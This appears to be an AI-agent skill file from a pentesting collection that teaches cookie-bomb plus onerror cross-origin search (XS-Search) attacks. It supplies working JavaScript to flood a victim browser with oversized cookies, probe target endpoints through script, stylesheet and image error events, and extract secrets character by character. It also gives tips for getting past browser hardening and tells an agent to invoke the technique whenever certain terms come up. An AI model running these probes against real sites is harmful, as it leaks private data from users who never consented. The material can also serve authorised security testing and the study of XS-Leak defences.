Hacktricks-skills cookie-bomb-xs-search

Perform cross-origin search attacks using cookie bombing and error event oracles. Use this skill when you need to extract data from a cross-origin endpoint by detecting server errors (431/414/400) triggered by inflated request headers. Trigger this skill for any XS-Search task, cookie-based oracle attacks, or when you need to probe cross-origin endpoints for boolean responses. Also use when the user mentions "XS-Search", "cross-origin search", "cookie bomb", "onerror oracle", or needs to leak data from a target they can't directly read.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak/SKILL.MD
source content

Cookie Bomb + Onerror XS Search

This skill enables cross-origin search attacks by combining cookie bombing with error-event oracles. The technique exploits server header/URL limits to create a boolean oracle that distinguishes between two states (e.g., search hit vs miss).

Core Concept

  1. Cookie Bomb: Stuff the victim's browser with many/large cookies for the target origin
  2. Error Oracle: Probe a cross-origin endpoint with a
    <script>
    or other subresource
  3. State Detection: Distinguish states via
    onload
    (success) vs
    onerror
    (failure)

When the "hit" path triggers a heavy redirect chain or long URL, combined with inflated cookies, the server returns an HTTP error (431/414/400). This error fires

onerror
, creating a reliable boolean oracle.

When This Works

  • You can cause the victim browser to send cookies to the target (SameSite=None cookies, or first-party context via
    window.open
    )
  • There's an app feature to set arbitrary cookies (e.g., "save preference" endpoints that turn controlled input into Set-Cookie)
  • The server reacts differently on two states, and with inflated headers/URL, one state crosses a limit and returns an error

Browser Hardening Considerations (2025+)

  • Chrome Tracking Protection: Blocks third-party cookies for expanding cohorts. Use first-party planting via
    window.open
  • Firefox 139+: CVE-2025-5266 tightened script tag onerror for cross-origin resources. Diversify oracles (stylesheet, img, fetch)
  • Safari/Firefox: Block most third-party cookies by default. Use CHIPS/partitioned cookie awareness

Available Scripts

Cookie Planting

Use

scripts/cookie-plant.js
for first-party-safe cookie planting:

node scripts/cookie-plant.js --endpoint <url> --fields <json>

This stages a temporary top-level window and fires oversized form submissions to the vulnerable Set-Cookie endpoint.

Probing Oracle

Use

scripts/xs-probe.js
for generic error probing:

node scripts/xs-probe.js --url <target-url> --type script|css|img

Returns

true
if the probe failed (onerror fired),
false
if it loaded successfully.

De Bruijn Generator

Use

scripts/debruijn-gen.js
for efficient cookie packing:

node scripts/debruijn-gen.js --alphabet <chars> --length <n>

Generates de Bruijn sequences for packing guesses efficiently in cookie values.

Attack Workflow

Step 1: Identify the Target

Find an endpoint whose behavior differs for two states:

  • Search endpoint that redirects on hit vs stays on miss
  • Feature that reflects user input in redirect URLs
  • Any endpoint with divergent network outcomes (status/MIME/redirect)

Step 2: Inflate Headers

Use the cookie planting script to stuff cookies:

// Example: plant 5 cookies with increasing sizes
await plantFirstPartyCookies(
  "https://target.com/set-preference",
  {
    "pref_0": "value_" + "_".repeat(400),
    "pref_1": "value_" + "_".repeat(520),
    "pref_2": "value_" + "_".repeat(640),
    "pref_3": "value_" + "_".repeat(760),
    "pref_4": "value_" + "_".repeat(880)
  }
);

Step 3: Probe with Oracle

Use the probing script to detect errors:

const isHit = await probeError(
  "https://target.com/search?q=" + encodeURIComponent(guess)
);

if (isHit) {
  // Server returned error (431/414/400) - this is a hit!
  console.log("Match found:", guess);
}

Step 4: Iterate to Extract

Build the target value character by character:

const alphabet = "_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
let known = "";

for (let c of alphabet) {
  if (await probeError(`https://target.com/search?q=${known + c}`)) {
    known += c;
    console.log("Progress:", known);
  }
}

Common Header/URL Limits

ProviderRequest HeadersURL Length
Cloudflare128 KB16 KB
Apache (default)~8 KB per headerVaries
NginxConfigurable (default ~8 KB)Configurable

Adjust cookie bomb size accordingly. Cloudflare targets may need more/larger cookies.

Stabilization Tips

  • Fire multiple parallel cookie set operations to average out timing noise
  • Bust caches: Add random
    #fragment
    or
    ?r=
    to probe URLs
  • Use distinct window names when using
    window.open
    loops
  • Alternate subresources: If
    <script>
    is filtered, try
    <link rel=stylesheet>
    or
    <img>
  • Fingerprint victim UA before assuming onerror still fires (Firefox 139+ changes)

Alternative Oracles

If script tags are blocked, use these alternatives:

// CSS stylesheet oracle
function probeCSS(url) {
  return new Promise((resolve) => {
    const l = document.createElement('link');
    l.rel = 'stylesheet';
    l.href = url;
    l.onload = () => resolve(false);
    l.onerror = () => resolve(true);
    document.head.appendChild(l);
  });
}

// Image oracle
function probeImage(url) {
  return new Promise((resolve) => {
    const img = new Image();
    img.src = url;
    img.onload = () => resolve(false);
    img.onerror = () => resolve(true);
  });
}

References